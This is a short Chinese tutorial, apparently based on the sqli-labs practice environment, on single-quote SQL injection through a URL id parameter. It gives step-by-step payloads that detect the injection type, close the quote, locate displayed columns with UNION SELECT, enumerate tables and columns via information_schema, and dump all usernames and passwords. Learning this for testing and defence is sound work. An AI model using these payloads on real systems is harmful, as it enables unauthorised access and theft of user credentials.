SQL注入(字符型,单引号闭合)
1、判断为字符型还是整型,?为连接符
?id=1 and 1=2
当不报错说明为字符型,反之则是整型
2、构造闭合
?id=1’and%20 ‘1’='1
说明是单引号闭合则可以用 --+ 来注释掉后面的 ’
例如:?id=1’ --+
也可以用 ?id=1’来判断,出错了就说明判断对了,因为在源语句中后面多出了一个 ’ ,所以采用上面 –+ 来注释掉后面的 ’ 。
3、判断显示位
?id=-1’ union all select 1,2,3–+ // 这时要注意前面的id要等于-1,这样才能执行后面的语句
说明显示位是 2和3 位,接下来就可以搞事情了
4、用database()暴库名
?id=-1’ union all select 1,database(),3–+
得出库名为 security
5、有了库名就可以得到表明
?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+
选一个自己感兴趣的表,我这里就选了users,下来搞出他的列名
?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ and table_schema=‘security’ --+
6、最后一步,来看他的用户名和密码,使用group_concat(刚才的列名) from 表明
?id=-1’ union all select 1,group_concat(username),group_concat(password) from users --+
成了!!!